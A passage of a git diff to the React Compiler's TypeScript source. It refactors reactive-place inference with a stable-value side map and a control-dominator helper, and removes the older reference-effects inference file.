+         * purposes but not report validation errors for mutations, since
+         * we aren't sure that the `from` value could actually be aliased.
+         */
+        for (const [alias, when] of node.maybeAliases) {
+          if (when >= index) {
+            continue;
+          }
+          queue.push({
+            place: alias,
+            transitive,
+            direction: 'backwards',
+            kind: MutationKind.Conditional,
+          });
+        }
+      }
+      /**
+       * but only transitive mutations affect captures
+       */
+      if (transitive) {
+        for (const [capture, when] of node.captures) {
+          if (when >= index) {
+            continue;
+          }
+          queue.push({
+            place: capture,
+            transitive,
+            direction: 'backwards',
+            kind,
+          });
+        }
+      }
+    }
+  }
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReactivePlaces.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReactivePlaces.ts
index 6d53c8f15740..6b77c89f3b72 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReactivePlaces.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReactivePlaces.ts
@@ -5,32 +5,125 @@
  * LICENSE file in the root directory of this source tree.
  */
 
-import { CompilerError } from "..";
+import {CompilerError} from '..';
 import {
-  BlockId,
   Effect,
+  Environment,
   HIRFunction,
   Identifier,
   IdentifierId,
+  Instruction,
   Place,
-  computePostDominatorTree,
+  evaluatesToStableTypeOrContainer,
   getHookKind,
   isStableType,
+  isStableTypeContainer,
   isUseOperator,
-} from "../HIR";
-import { PostDominator } from "../HIR/Dominator";
+} from '../HIR';
 import {
   eachInstructionLValue,
+  eachInstructionOperand,
   eachInstructionValueOperand,
   eachTerminalOperand,
-} from "../HIR/visitors";
+} from '../HIR/visitors';
 import {
   findDisjointMutableValues,
   isMutable,
-} from "../ReactiveScopes/InferReactiveScopeVariables";
-import DisjointSet from "../Utils/DisjointSet";
-import { assertExhaustive } from "../Utils/utils";
+} from '../ReactiveScopes/InferReactiveScopeVariables';
+import DisjointSet from '../Utils/DisjointSet';
+import {assertExhaustive} from '../Utils/utils';
+import {createControlDominators} from './ControlDominators';
 
+/**
+ * Side map to track and propagate sources of stability (i.e. hook calls such as
+ * `useRef()` and property reads such as `useState()[1]). Note that this
+ * requires forward data flow analysis since stability is not part of React
+ * Compiler's type system.
+ */
+class StableSidemap {
+  map: Map<IdentifierId, {isStable: boolean}> = new Map();
+  env: Environment;
+
+  constructor(env: Environment) {
+    this.env = env;
+  }
+
+  handleInstruction(instr: Instruction): void {
+    const {value, lvalue} = instr;
+
+    switch (value.kind) {
+      case 'CallExpression':
+      case 'MethodCall': {
+        /**
+         * Sources of stability are known hook calls
+         */
+        if (evaluatesToStableTypeOrContainer(this.env, instr)) {
+          if (isStableType(lvalue.identifier)) {
+            this.map.set(lvalue.identifier.id, {
+              isStable: true,
+            });
+          } else {
+            this.map.set(lvalue.identifier.id, {
+              isStable: false,
+            });
+          }
+        }
+        break;
+      }
+
+      case 'Destructure':
+      case 'PropertyLoad': {
+        /**
+         * PropertyLoads may from stable containers may also produce stable
+         * values. ComputedLoads are technically safe for now (as all stable
+         * containers have differently-typed elements), but are not handled as
+         * they should be rare anyways.
+         */
+        const source =
+          value.kind === 'Destructure'
+            ? value.value.identifier.id
+            : value.object.identifier.id;
+        const entry = this.map.get(source);
+        if (entry) {
+          for (const lvalue of eachInstructionLValue(instr)) {
+            if (isStableTypeContainer(lvalue.identifier)) {
+              this.map.set(lvalue.identifier.id, {
+                isStable: false,
+              });
+            } else if (isStableType(lvalue.identifier)) {
+              this.map.set(lvalue.identifier.id, {
+                isStable: true,
+              });
+            }
+          }
+        }
+        break;
+      }
+
+      case 'StoreLocal': {
+        const entry = this.map.get(value.value.identifier.id);
+        if (entry) {
+          this.map.set(lvalue.identifier.id, entry);
+          this.map.set(value.lvalue.place.identifier.id, entry);
+        }
+        break;
+      }
+
+      case 'LoadLocal': {
+        const entry = this.map.get(value.place.identifier.id);
+        if (entry) {
+          this.map.set(lvalue.identifier.id, entry);
+        }
+        break;
+      }
+    }
+  }
+
+  isStable(id: IdentifierId): boolean {
+    const entry = this.map.get(id);
+    return entry != null ? entry.isStable : false;
+  }
+}
 /*
  * Infers which `Place`s are reactive, ie may *semantically* change
  * over the course of the component/hook's lifetime. Places are reactive
@@ -111,85 +204,50 @@ import { assertExhaustive } from "../Utils/utils";
  */
 export function inferReactivePlaces(fn: HIRFunction): void {
   const reactiveIdentifiers = new ReactivityMap(findDisjointMutableValues(fn));
+  const stableIdentifierSources = new StableSidemap(fn.env);
   for (const param of fn.params) {
-    const place = param.kind === "Identifier" ? param : param.place;
+    const place = param.kind === 'Identifier' ? param : param.place;
     reactiveIdentifiers.markReactive(place);
   }
 
-  const postDominators = computePostDominatorTree(fn, {
-    includeThrowsAsExitNode: false,
-  });
-  const postDominatorFrontierCache = new Map<BlockId, Set<BlockId>>();
-
-  function isReactiveControlledBlock(id: BlockId): boolean {
-    let controlBlocks = postDominatorFrontierCache.get(id);
-    if (controlBlocks === undefined) {
-      controlBlocks = postDominatorFrontier(fn, postDominators, id);
-      postDominatorFrontierCache.set(id, controlBlocks);
-    }
-    for (const blockId of controlBlocks) {
-      const controlBlock = fn.body.blocks.get(blockId)!;
-      switch (controlBlock.terminal.kind) {
-        case "if":
-        case "branch": {
-          if (reactiveIdentifiers.isReactive(controlBlock.terminal.test)) {
-            return true;
-          }
-          break;
-        }
-        case "switch": {
-          if (reactiveIdentifiers.isReactive(controlBlock.terminal.test)) {
-            return true;
-          }
-          for (const case_ of controlBlock.terminal.cases) {
-            if (
-              case_.test !== null &&
-              reactiveIdentifiers.isReactive(case_.test)
-            ) {
-              return true;
-            }
-          }
-          break;
-        }
-      }
-    }
-    return false;
-  }
+  const isReactiveControlledBlock = createControlDominators(fn, place =>
+    reactiveIdentifiers.isReactive(place),
+  );
 
   do {
-    const identifierMapping = new Map<Identifier, Identifier>();
     for (const [, block] of fn.body.blocks) {
       let hasReactiveControl = isReactiveControlledBlock(block.id);
 
       for (const phi of block.phis) {
-        if (reactiveIdentifiers.isReactiveIdentifier(phi.id)) {
+        if (reactiveIdentifiers.isReactive(phi.place)) {
           // Already marked reactive on a previous pass
           continue;
         }
         let isPhiReactive = false;
         for (const [, operand] of phi.operands) {
-          if (reactiveIdentifiers.isReactiveIdentifier(operand)) {
+          if (reactiveIdentifiers.isReactive(operand)) {
             isPhiReactive = true;
             break;
           }
         }
         if (isPhiReactive) {
-          reactiveIdentifiers.markReactiveIdentifier(phi.id);
+          reactiveIdentifiers.markReactive(phi.place);
         } else {
           for (const [pred] of phi.operands) {
             if (isReactiveControlledBlock(pred)) {
-              reactiveIdentifiers.markReactiveIdentifier(phi.id);
+              reactiveIdentifiers.markReactive(phi.place);
               break;
             }
           }
         }
       }
       for (const instruction of block.instructions) {
-        const { value } = instruction;
+        stableIdentifierSources.handleInstruction(instruction);
+        const {value} = instruction;
         let hasReactiveInput = false;
         /*
          * NOTE: we want to mark all operands as reactive or not, so we
-         * avoid short-circuting here
+         * avoid short-circuiting here
          */
         for (const operand of eachInstructionValueOperand(value)) {
           const reactive = reactiveIdentifiers.isReactive(operand);
@@ -204,13 +262,13 @@ export function inferReactivePlaces(fn: HIRFunction): void {
          * but we are conservative and assume that the value could be reactive.
          */
         if (
-          value.kind === "CallExpression" &&
+          value.kind === 'CallExpression' &&
           (getHookKind(fn.env, value.callee.identifier) != null ||
             isUseOperator(value.callee.identifier))
         ) {
           hasReactiveInput = true;
         } else if (
-          value.kind === "MethodCall" &&
+          value.kind === 'MethodCall' &&
           (getHookKind(fn.env, value.property.identifier) != null ||
             isUseOperator(value.property.identifier))
         ) {
@@ -219,7 +277,13 @@ export function inferReactivePlaces(fn: HIRFunction): void {
 
         if (hasReactiveInput) {
           for (const lvalue of eachInstructionLValue(instruction)) {
-            if (isStableType(lvalue.identifier)) {
+            /**
+             * Note that it's not correct to mark all stable-typed identifiers
+             * as non-reactive, since ternaries and other value blocks can
+             * produce reactive identifiers typed as these.
+             * (e.g. `props.cond ? setState1 : setState2`)
+             */
+            if (stableIdentifierSources.isStable(lvalue.identifier.id)) {
               continue;
             }
             reactiveIdentifiers.markReactive(lvalue);
@@ -231,12 +295,9 @@ export function inferReactivePlaces(fn: HIRFunction): void {
               case Effect.Capture:
               case Effect.Store:
               case Effect.ConditionallyMutate:
+              case Effect.ConditionallyMutateIterator:
               case Effect.Mutate: {
                 if (isMutable(instruction, operand)) {
-                  const resolvedId = identifierMapping.get(operand.identifier);
-                  if (resolvedId !== undefined) {
-                    reactiveIdentifiers.markReactiveIdentifier(resolvedId);
-                  }
                   reactiveIdentifiers.markReactive(operand);
                 }
                 break;
@@ -248,107 +309,60 @@ export function inferReactivePlaces(fn: HIRFunction): void {
               }
               case Effect.Unknown: {
                 CompilerError.invariant(false, {
-                  reason: "Unexpected unknown effect",
-                  description: null,
+                  reason: 'Unexpected unknown effect',
                   loc: operand.loc,
-                  suggestions: null,
                 });
               }
               default: {
                 assertExhaustive(
                   operand.effect,
-                  `Unexpected effect kind \`${operand.effect}\``
+                  `Unexpected effect kind \`${operand.effect}\``,
                 );
               }
             }
           }
         }
-
-        switch (value.kind) {
-          case "LoadLocal": {
-            identifierMapping.set(
-              instruction.lvalue.identifier,
-              value.place.identifier
-            );
-            break;
-          }
-          case "PropertyLoad":
-          case "ComputedLoad": {
-            const resolvedId =
-              identifierMapping.get(value.object.identifier) ??
-              value.object.identifier;
-            identifierMapping.set(instruction.lvalue.identifier, resolvedId);
-            break;
-          }
-          case "LoadContext": {
-            identifierMapping.set(
-              instruction.lvalue.identifier,
-              value.place.identifier
-            );
-            break;
-          }
-        }
       }
       for (const operand of eachTerminalOperand(block.terminal)) {
         reactiveIdentifiers.isReactive(operand);
       }
     }
   } while (reactiveIdentifiers.snapshot());
-}
 
-/*
- * Computes the post-dominator frontier of @param block. These are immediate successors of nodes that
- * post-dominate @param targetId and from which execution may not reach @param block. Intuitively, these
- * are the earliest blocks from which execution branches such that it may or may not reach the target block.
- */
-function postDominatorFrontier(
-  fn: HIRFunction,
-  postDominators: PostDominator<BlockId>,
-  targetId: BlockId
-): Set<BlockId> {
-  const visited = new Set<BlockId>();
-  const frontier = new Set<BlockId>();
-  const targetPostDominators = postDominatorsOf(fn, postDominators, targetId);
-  for (const blockId of [...targetPostDominators, targetId]) {
-    if (visited.has(blockId)) {
-      continue;
-    }
-    visited.add(blockId);
-    const block = fn.body.blocks.get(blockId)!;
-    for (const pred of block.preds) {
-      if (!targetPostDominators.has(pred)) {
-        // The predecessor does not always reach this block, we found an item on the frontier!
-        frontier.add(pred);
+  function propagateReactivityToInnerFunctions(
+    fn: HIRFunction,
+    isOutermost: boolean,
+  ): void {
+    for (const [, block] of fn.body.blocks) {
+      for (const instr of block.instructions) {
+        if (!isOutermost) {
+          for (const operand of eachInstructionOperand(instr)) {
+            reactiveIdentifiers.isReactive(operand);
+          }
+        }
+        if (
+          instr.value.kind === 'ObjectMethod' ||
+          instr.value.kind === 'FunctionExpression'
+        ) {
+          propagateReactivityToInnerFunctions(
+            instr.value.loweredFunc.func,
+            false,
+          );
+        }
       }
-    }
-  }
-  return frontier;
-}
-
-function postDominatorsOf(
-  fn: HIRFunction,
-  postDominators: PostDominator<BlockId>,
-  targetId: BlockId
-): Set<BlockId> {
-  const result = new Set<BlockId>();
-  const visited = new Set<BlockId>();
-  const queue = [targetId];
-  while (queue.length) {
-    const currentId = queue.shift()!;
-    if (visited.has(currentId)) {
-      continue;
-    }
-    visited.add(currentId);
-    const current = fn.body.blocks.get(currentId)!;
-    for (const pred of current.preds) {
-      const predPostDominator = postDominators.get(pred) ?? pred;
-      if (predPostDominator === targetId || result.has(predPostDominator)) {
-        result.add(pred);
+      if (!isOutermost) {
+        for (const operand of eachTerminalOperand(block.terminal)) {
+          reactiveIdentifiers.isReactive(operand);
+        }
       }
-      queue.push(pred);
     }
   }
-  return result;
+
+  /**
+   * Propagate reactivity for inner functions, as we eventually hoist and dedupe
+   * dependency instructions for scopes.
+   */
+  propagateReactivityToInnerFunctions(fn, true);
 }
 
 class ReactivityMap {
@@ -372,27 +386,19 @@ class ReactivityMap {
   }
 
   isReactive(place: Place): boolean {
-    const reactive = this.isReactiveIdentifier(place.identifier);
+    const identifier =
+      this.aliasedIdentifiers.find(place.identifier) ?? place.identifier;
+    const reactive = this.reactive.has(identifier.id);
     if (reactive) {
       place.reactive = true;
     }
     return reactive;
   }
 
-  isReactiveIdentifier(inputIdentifier: Identifier): boolean {
-    const identifier =
-      this.aliasedIdentifiers.find(inputIdentifier) ?? inputIdentifier;
-    return this.reactive.has(identifier.id);
-  }
-
   markReactive(place: Place): void {
     place.reactive = true;
-    this.markReactiveIdentifier(place.identifier);
-  }
-
-  markReactiveIdentifier(inputIdentifier: Identifier): void {
     const identifier =
-      this.aliasedIdentifiers.find(inputIdentifier) ?? inputIdentifier;
+      this.aliasedIdentifiers.find(place.identifier) ?? place.identifier;
     if (!this.reactive.has(identifier.id)) {
       this.hasChanges = true;
       this.reactive.add(identifier.id);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReferenceEffects.ts b/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReferenceEffects.ts
deleted file mode 100644
index ee2ad1a7deeb..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Inference/InferReferenceEffects.ts
+++ /dev/null
@@ -1,2149 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError, ErrorSeverity } from "../CompilerError";
-import { Environment } from "../HIR";
-import {
-  AbstractValue,
-  BasicBlock,
-  BlockId,
-  CallExpression,
-  Effect,
-  FunctionEffect,
-  GeneratedSource,
-  HIRFunction,
-  IdentifierId,
-  InstructionKind,
-  InstructionValue,
-  MethodCall,
-  Phi,
-  Place,
-  SpreadPattern,
-  Type,
-  ValueKind,
-  ValueReason,
-  isArrayType,
-  isMutableEffect,
-  isObjectType,
-  isRefValueType,
-  isUseRefType,
-} from "../HIR/HIR";
-import { FunctionSignature } from "../HIR/ObjectShape";
-import {
-  printIdentifier,
-  printMixedHIR,
-  printPlace,
-  printSourceLocation,
-} from "../HIR/PrintHIR";
-import {
-  eachCallArgument,
-  eachInstructionOperand,
-  eachInstructionValueOperand,
-  eachPatternOperand,
-  eachTerminalOperand,
-  eachTerminalSuccessor,
-} from "../HIR/visitors";
-import { assertExhaustive } from "../Utils/utils";
-import { isEffectHook } from "../Validation/ValidateMemoizedEffectDependencies";
-
-const UndefinedValue: InstructionValue = {
-  kind: "Primitive",
-  loc: GeneratedSource,
-  value: undefined,
-};
-
-/*
- * For every usage of a value in the given function, infers the effect or action
- * taken at that reference. Each reference is inferred as exactly one of:
- * - freeze: this usage freezes the value, ie converts it to frozen. This is only inferred
- *    when the value *may* not already be frozen.
- * - frozen: the value is known to already be "owned" by React and is therefore already
- *    frozen (permanently and transitively immutable).
- * - immutable: the value is not owned by React, but is known to be an immutable value
- *    that therefore cannot ever change.
- * - readonly: the value is not frozen or immutable, but this usage of the value does
- *    not modify it. the value may be mutated by a subsequent reference. Examples include
- *    referencing the operands of a binary expression, or referencing the items/properties
- *    of an array or object literal.
- * - mutable: the value is not frozen or immutable, and this usage *may* modify it.
- *    Examples include passing a value to as a function argument or assigning into an object.
- *
- * Note that the inference follows variable assignment, so assigning a frozen value
- * to a different value will infer usages of the other variable as frozen as well.
- *
- * The inference assumes that the code follows the rules of React:
- * - React function arguments are frozen (component props, hook arguments).
- * - Hook arguments are frozen at the point the hook is invoked.
- * - React function return values are frozen at the point of being returned,
- *    thus the return value of a hook call is frozen.
- * - JSX represents invocation of a React function (the component) and
- *    therefore all values passed to JSX become frozen at the point the JSX
- *    is created.
- *
- * Internally, the inference tracks the approximate type of value held by each variable,
- * and iterates over the control flow graph. The inferred effect of reach reference is
- * a combination of the operation performed (ie, assignment into an object mutably uses the
- * object; an if condition reads the condition) and the type of the value. The types of values
- * are:
- * - frozen: can be any type so long as the value is known to be owned by React, permanently
- *    and transitively immutable
- * - maybe-frozen: the value may or may not be frozen, conditionally depending on control flow.
- * - immutable: a type with value semantics: primitives, records/tuples when standardized.
- * - mutable: a type with reference semantics eg array, object, class instance, etc.
- *
- * When control flow paths converge the types of values are merged together, with the value
- * types forming a lattice to ensure convergence.
- */
-export default function inferReferenceEffects(
-  fn: HIRFunction,
-  options: { isFunctionExpression: boolean } = { isFunctionExpression: false }
-): void {
-  /*
-   * Initial state contains function params
-   * TODO: include module declarations here as well
-   */
-  const initialState = InferenceState.empty(fn.env);
-  const value: InstructionValue = {
-    kind: "Primitive",
-    loc: fn.loc,
-    value: undefined,
-  };
-  initialState.initialize(value, {
-    kind: ValueKind.Frozen,
-    reason: new Set([ValueReason.Other]),
-    context: new Set(),
-  });
-
-  for (const ref of fn.context) {
-    // TODO(gsn): This is a hack.
-    const value: InstructionValue = {
-      kind: "ObjectExpression",
-      properties: [],
-      loc: ref.loc,
-    };
-    initialState.initialize(value, {
-      kind: ValueKind.Context,
-      reason: new Set([ValueReason.Other]),
-      context: new Set([ref]),
-    });
-    initialState.define(ref, value);
-  }
-
-  const paramKind: AbstractValue = options.isFunctionExpression
-    ? {
-        kind: ValueKind.Mutable,
-        reason: new Set([ValueReason.Other]),
-        context: new Set(),
-      }
-    : {
-        kind: ValueKind.Frozen,
-        reason: new Set([ValueReason.ReactiveFunctionArgument]),
-        context: new Set(),
-      };
-
-  if (fn.fnType === "Component") {
-    CompilerError.invariant(fn.params.length <= 2, {
-      reason:
-        "Expected React component to have not more than two parameters: one for props and for ref",
-      description: null,
-      loc: fn.loc,
-      suggestions: null,
-    });
-    const [props, ref] = fn.params;
-    let value: InstructionValue;
-    let place: Place;
-    if (props) {
-      inferParam(props, initialState, paramKind);
-    }
-    if (ref) {
-      if (ref.kind === "Identifier") {
-        place = ref;
-        value = {
-          kind: "ObjectExpression",
-          properties: [],
-          loc: ref.loc,
-        };
-      } else {
-        place = ref.place;
-        value = {
-          kind: "ObjectExpression",
-          properties: [],
-          loc: ref.place.loc,
-        };
-      }
-      initialState.initialize(value, {
-        kind: ValueKind.Mutable,
-        reason: new Set([ValueReason.Other]),
-        context: new Set(),
-      });
-      initialState.define(place, value);
-    }
-  } else {
-    for (const param of fn.params) {
-      inferParam(param, initialState, paramKind);
-    }
-  }
-
-  // Map of blocks to the last (merged) incoming state that was processed
-  const statesByBlock: Map<BlockId, InferenceState> = new Map();
-
-  /*
-   * Multiple predecessors may be visited prior to reaching a given successor,
-   * so track the list of incoming state for each successor block.
-   * These are merged when reaching that block again.
-   */
-  const queuedStates: Map<BlockId, InferenceState> = new Map();
-  function queue(blockId: BlockId, state: InferenceState): void {
-    let queuedState = queuedStates.get(blockId);
-    if (queuedState != null) {
-      // merge the queued states for this block
-      state = queuedState.merge(state) ?? queuedState;
-      queuedStates.set(blockId, state);
-    } else {
-      /*
-       * this is the first queued state for this block, see whether
-       * there are changed relative to the last time it was processed.
-       */
-      const prevState = statesByBlock.get(blockId);
-      const nextState = prevState != null ? prevState.merge(state) : state;
-      if (nextState != null) {
-        queuedStates.set(blockId, nextState);
-      }
-    }
-  }
-  queue(fn.body.entry, initialState);
-
-  const functionEffects: Array<FunctionEffect> = fn.effects ?? [];
-
-  while (queuedStates.size !== 0) {
-    for (const [blockId, block] of fn.body.blocks) {
-      const incomingState = queuedStates.get(blockId);
-      queuedStates.delete(blockId);
-      if (incomingState == null) {
-        continue;
-      }
-
-      statesByBlock.set(blockId, incomingState);
-      const state = incomingState.clone();
-      inferBlock(fn.env, functionEffects, state, block);
-
-      for (const nextBlockId of eachTerminalSuccessor(block.terminal)) {
-        queue(nextBlockId, state);
-      }
-    }
-  }
-
-  if (!options.isFunctionExpression) {
-    functionEffects.forEach((eff) => {
-      switch (eff.kind) {
-        case "ReactMutation":
-        case "GlobalMutation": {
-          CompilerError.throw(eff.error);
-        }
-        case "ContextMutation": {
-          CompilerError.throw({
-            severity: ErrorSeverity.Invariant,
-            reason: `Unexpected ContextMutation in top-level function effects`,
-            loc: eff.loc,
-          });
-        }
-        default:
-          assertExhaustive(
-            eff,
-            `Unexpected function effect kind \`${(eff as any).kind}\``
-          );
-      }
-    });
-  } else {
-    fn.effects = functionEffects;
-  }
-}
-
-// Maintains a mapping of top-level variables to the kind of value they hold
-class InferenceState {
-  #env: Environment;
-
-  // The kind of reach value, based on its allocation site
-  #values: Map<InstructionValue, AbstractValue>;
-  /*
-   * The set of values pointed to by each identifier. This is a set
-   * to accomodate phi points (where a variable may have different
-   * values from different control flow paths).
-   */
-  #variables: Map<IdentifierId, Set<InstructionValue>>;
-
-  constructor(
-    env: Environment,
-    values: Map<InstructionValue, AbstractValue>,
-    variables: Map<IdentifierId, Set<InstructionValue>>
-  ) {
-    this.#env = env;
-    this.#values = values;
-    this.#variables = variables;
-  }
-
-  static empty(env: Environment): InferenceState {
-    return new InferenceState(env, new Map(), new Map());
-  }
-
-  // (Re)initializes a @param value with its default @param kind.
-  initialize(value: InstructionValue, kind: AbstractValue): void {
-    CompilerError.invariant(value.kind !== "LoadLocal", {
-      reason:
-        "Expected all top-level identifiers to be defined as variables, not values",
-      description: null,
-      loc: value.loc,
-      suggestions: null,
-    });
-    this.#values.set(value, kind);
-  }
-
-  values(place: Place): Array<InstructionValue> {
-    const values = this.#variables.get(place.identifier.id);
-    CompilerError.invariant(values != null, {
-      reason: `[hoisting] Expected value kind to be initialized`,
-      description: `${printPlace(place)}`,
-      loc: place.loc,
-      suggestions: null,
-    });
-    return Array.from(values);
-  }
-
-  // Lookup the kind of the given @param value.
-  kind(place: Place): AbstractValue {
-    const values = this.#variables.get(place.identifier.id);
-    CompilerError.invariant(values != null, {
-      reason: `[hoisting] Expected value kind to be initialized`,
-      description: `${printPlace(place)}`,
-      loc: place.loc,
-      suggestions: null,
-    });
-    let mergedKind: AbstractValue | null = null;
-    for (const value of values) {
-      const kind = this.#values.get(value)!;
-      mergedKind =
-        mergedKind !== null ? mergeAbstractValues(mergedKind, kind) : kind;
-    }
-    CompilerError.invariant(mergedKind !== null, {
-      reason: `InferReferenceEffects::kind: Expected at least one value`,
-      description: `No value found at \`${printPlace(place)}\``,
-      loc: place.loc,
-      suggestions: null,
-    });
-    return mergedKind;
-  }
-
-  // Updates the value at @param place to point to the same value as @param value.
-  alias(place: Place, value: Place): void {
-    const values = this.#variables.get(value.identifier.id);
-    CompilerError.invariant(values != null, {
-      reason: `[hoisting] Expected value for identifier to be initialized`,
-      description: `${printIdentifier(value.identifier)}`,
-      loc: value.loc,
-      suggestions: null,
-    });
-    this.#variables.set(place.identifier.id, new Set(values));
-  }
-
-  // Defines (initializing or updating) a variable with a specific kind of value.
-  define(place: Place, value: InstructionValue): void {
-    CompilerError.invariant(this.#values.has(value), {
-      reason: `Expected value to be initialized at '${printSourceLocation(
-        value.loc
-      )}'`,
-      description: null,
-      loc: value.loc,
-      suggestions: null,
-    });
-    this.#variables.set(place.identifier.id, new Set([value]));
-  }
-
-  isDefined(place: Place): boolean {
-    return this.#variables.has(place.identifier.id);
-  }
-
-  /*
-   * Records that a given Place was accessed with the given kind and:
-   * - Updates the effect of @param place based on the kind of value
-   *    and the kind of reference (@param effectKind).
-   * - Updates the value kind to reflect the effect of the reference.
-   *
-   * Notably, a mutable reference is downgraded to readonly if the
-   * value unless the value is known to be mutable.
-   *
-   * Similarly, a freeze reference is converted to readonly if the
-   * value is already frozen or is immutable.
-   */
-  referenceAndRecordEffects(
-    place: Place,
-    effectKind: Effect,
-    reason: ValueReason,
-    functionEffects: Array<FunctionEffect>
-  ): void {
-    const values = this.#variables.get(place.identifier.id);
-    if (values === undefined) {
-      CompilerError.invariant(effectKind !== Effect.Store, {
-        reason: "[InferReferenceEffects] Unhandled store reference effect",
-        description: null,
-        loc: place.loc,
-        suggestions: null,
-      });
-      place.effect =
-        effectKind === Effect.ConditionallyMutate
-          ? Effect.ConditionallyMutate
-          : Effect.Read;
-      return;
-    }
-
-    // Propagate effects of function expressions to the outer (ie current) effect context
-    for (const value of values) {
-      if (
-        (value.kind === "FunctionExpression" ||
-          value.kind === "ObjectMethod") &&
-        value.loweredFunc.func.effects != null
-      ) {
-        for (const effect of value.loweredFunc.func.effects) {
-          if (
-            effect.kind === "GlobalMutation" ||
-            effect.kind === "ReactMutation"
-          ) {
-            // Known effects are always propagated upwards
-            functionEffects.push(effect);
-          } else {
-            /**
-             * Contextual effects need to be replayed against the current inference
-             * state, which may know more about the value to which the effect applied.
-             * The main cases are:
-             * 1. The mutated context value is _still_ a context value in the current scope,
-             *    so we have to continue propagating the original context mutation.
-             * 2. The mutated context value is a mutable value in the current scope,
-             *    so the context mutation was fine and we can skip propagating the effect.
-             * 3. The mutated context value  is an immutable value in the current scope,
-             *    resulting in a non-ContextMutation FunctionEffect. We propagate that new,
-             *    more detailed effect to the current function context.
-             */
-            for (const place of effect.places) {
-              if (this.isDefined(place)) {
-                const replayedEffect = this.reference(
-                  { ...place, loc: effect.loc },
-                  effect.effect,
-                  reason
-                );
-                if (replayedEffect != null) {
-                  if (replayedEffect.kind === "ContextMutation") {
-                    // Case 1, still a context value so propagate the original effect
-                    functionEffects.push(effect);
-                  } else {
-                    // Case 3, immutable value so propagate the more precise effect
-                    functionEffects.push(replayedEffect);
-                  }
-                } // else case 2, local mutable value so this effect was fine
-              }
-            }
-          }
-        }
-      }
-    }
-    const functionEffect = this.reference(place, effectKind, reason);
-    if (functionEffect !== null) {
-      functionEffects.push(functionEffect);
-    }
-  }
-
-  reference(
-    place: Place,
-    effectKind: Effect,
-    reason: ValueReason
-  ): FunctionEffect | null {
-    const values = this.#variables.get(place.identifier.id);
-    CompilerError.invariant(values !== undefined, {
-      reason: "[InferReferenceEffects] Expected value to be initialized",
-      description: null,
-      loc: place.loc,
-      suggestions: null,
-    });
-    let valueKind: AbstractValue | null = this.kind(place);
-    let effect: Effect | null = null;
-    let functionEffect: FunctionEffect | null = null;
-    switch (effectKind) {
-      case Effect.Freeze: {
-        if (
-          valueKind.kind === ValueKind.Mutable ||
-          valueKind.kind === ValueKind.Context ||
-          valueKind.kind === ValueKind.MaybeFrozen
-        ) {
-          const reasonSet = new Set([reason]);
-          effect = Effect.Freeze;
-          valueKind = {
-            kind: ValueKind.Frozen,
-            reason: reasonSet,
-            context: new Set(),
-          };
-          values.forEach((value) => {
-            this.#values.set(value, {
-              kind: ValueKind.Frozen,
-              reason: reasonSet,
-              context: new Set(),
-            });
-
-            if (
-              this.#env.config.enablePreserveExistingMemoizationGuarantees ||
-              this.#env.config.enableTransitivelyFreezeFunctionExpressions
-            ) {
-              if (value.kind === "FunctionExpression") {
-                for (const operand of eachInstructionValueOperand(value)) {
-                  this.referenceAndRecordEffects(
-                    operand,
-                    Effect.Freeze,
-                    ValueReason.Other,
-                    []
-                  );
-                }
-              }
-            }
-          });
-        } else {
-          effect = Effect.Read;
-        }
-        break;
-      }
-      case Effect.ConditionallyMutate: {
-        if (
-          valueKind.kind === ValueKind.Mutable ||
-          valueKind.kind === ValueKind.Context
-        ) {
-          effect = Effect.ConditionallyMutate;
-        } else {
-          effect = Effect.Read;
-        }
-        break;
-      }
-      case Effect.Mutate: {
-        if (
-          isRefValueType(place.identifier) ||
-          isUseRefType(place.identifier)
-        ) {
-          // no-op: refs are validate via ValidateNoRefAccessInRender
-        } else if (valueKind.kind === ValueKind.Context) {
-          functionEffect = {
-            kind: "ContextMutation",
-            loc: place.loc,
-            effect: effectKind,
-            places:
-              valueKind.context.size === 0
-                ? new Set([place])
-                : valueKind.context,
-          };
-        } else if (
-          valueKind.kind !== ValueKind.Mutable &&
-          // We ignore mutations of primitives since this is not a React-specific problem
-          valueKind.kind !== ValueKind.Primitive
-        ) {
-          let reason = getWriteErrorReason(valueKind);
-          functionEffect = {
-            kind:
-              valueKind.reason.size === 1 &&
-              valueKind.reason.has(ValueReason.Global)
-                ? "GlobalMutation"
-                : "ReactMutation",
-            error: {
-              reason,
-              description:
-                place.identifier.name !== null &&
-                place.identifier.name.kind === "named"
-                  ? `Found mutation of \`${place.identifier.name.value}\``
-                  : null,
-              loc: place.loc,
-              suggestions: null,
-              severity: ErrorSeverity.InvalidReact,
-            },
-          };
-        }
-        effect = Effect.Mutate;
-        break;
-      }
-      case Effect.Store: {
-        if (
-          isRefValueType(place.identifier) ||
-          isUseRefType(place.identifier)
-        ) {
-          // no-op: refs are validate via ValidateNoRefAccessInRender
-        } else if (valueKind.kind === ValueKind.Context) {
-          functionEffect = {
-            kind: "ContextMutation",
-            loc: place.loc,
-            effect: effectKind,
-            places:
-              valueKind.context.size === 0
-                ? new Set([place])
-                : valueKind.context,
-          };
-        } else if (
-          valueKind.kind !== ValueKind.Mutable &&
-          // We ignore mutations of primitives since this is not a React-specific problem
-          valueKind.kind !== ValueKind.Primitive
-        ) {
-          let reason = getWriteErrorReason(valueKind);
-          functionEffect = {
-            kind:
-              valueKind.reason.size === 1 &&
-              valueKind.reason.has(ValueReason.Global)
-                ? "GlobalMutation"
-                : "ReactMutation",
-            error: {
-              reason,
-              description:
-                place.identifier.name !== null &&
-                place.identifier.name.kind === "named"
-                  ? `Found mutation of \`${place.identifier.name.value}\``
-                  : null,
-              loc: place.loc,
-              suggestions: null,
-              severity: ErrorSeverity.InvalidReact,
-            },
-          };
-        }
-
-        /*
-         * TODO(gsn): This should be bailout once we add bailout infra.
-         *
-         * invariant(
-         *   valueKind.kind === ValueKindKind.Mutable,
-         *   `expected valueKind to be 'Mutable' but found to be \`${valueKind}\``
-         * );
-         */
-        effect = isObjectType(place.identifier) ? Effect.Store : Effect.Mutate;
-        break;
-      }
-      case Effect.Capture: {
-        if (
-          valueKind.kind === ValueKind.Primitive ||
